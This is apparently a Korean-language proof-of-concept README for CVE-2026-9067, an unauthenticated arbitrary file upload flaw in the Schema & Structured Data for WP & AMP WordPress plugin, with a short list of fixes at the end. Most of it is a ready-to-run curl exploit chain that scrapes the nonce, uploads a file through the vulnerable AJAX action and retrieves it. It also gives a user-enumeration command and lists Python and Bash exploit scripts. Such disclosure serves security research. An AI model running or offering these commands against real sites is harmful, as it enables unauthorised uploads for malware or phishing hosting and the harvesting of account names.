POC & Xploit - 개념 증명 디렉토리
WordPress 보안 테스트 환경에서 발견된 취약점에 대한 문서 및 익스플로잇
취약점 목록
| CVE ID | 플러그인 | 심각도 | 유형 | 상태 |
|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | 높음 (8.1) | 무제한 파일 업로드 | 문서화됨 |
CVE-2026-9067
빠른 요약
취약점 설명
Schema & Structured Data for WP & AMP 플러그인 버전 1.60 미만은 파일 업로드를 위한 AJAX 핸들러에서 사용자 권한을 검증하지 않고 업로드된 파일 형식을 검증하지 않습니다. 이로 인해 인증되지 않은 공격자가 임의 파일을 업로드할 수 있습니다.
영향
- 콘텐츠 호스팅: 공격자가 피해자 도메인에 악성 콘텐츠를 호스팅할 수 있음
- 디스크 소비: 임의 파일 업로드로 디스크 공간을 소진할 수 있음
- 평판 악용: 피해자 도메인에서의 맬웨어, 피싱 페이지 배포
중요 참고사항: WordPress 코어는 실행 파일(.php, .phtml, .html, .svg)을 차단하므로, 이 취약점으로 인한 직접적인 RCE 경로는 없습니다.
Files
CVE-2026-9067/
├── CVE-2026-9067.md # Dokumentasi lengkap (file ini)
├── CVE-2026-9067.py # Python exploit dengan multi-threading
├── CVE-2026-9067.sh # Bash/Shell PoC script
└── CVE-2026-9067_exploit.sh # Alternative Bash PoC
빠른 PoC
# Step 1: Get nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/HEAD/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# Step 2: Upload arbitrary file
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# Step 3: Access uploaded file
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
환경 정보
테스트 명령어
사이트 상태 확인
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
플러그인 버전 확인
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
사용자 열거
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
해결 방법
- 플러그인 업그레이드: Schema & Structured Data for WP & AMP를 버전 1.60 이상으로 업데이트
- 플러그인 비활성화: 업그레이드가 불가능하면 플러그인 비활성화
- 강화:
DISALLOW_FILE_MODIFICATIONS 상수 설정
.htaccess를 통해 업로드 디렉토리에서 PHP 실행 비활성화
- WAF 규칙 구현
참고 자료